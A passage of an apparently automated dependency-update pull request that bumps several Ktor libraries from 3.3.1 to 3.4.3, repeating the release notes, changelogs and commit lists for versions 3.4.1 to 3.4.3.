href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-content-negotiation` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken 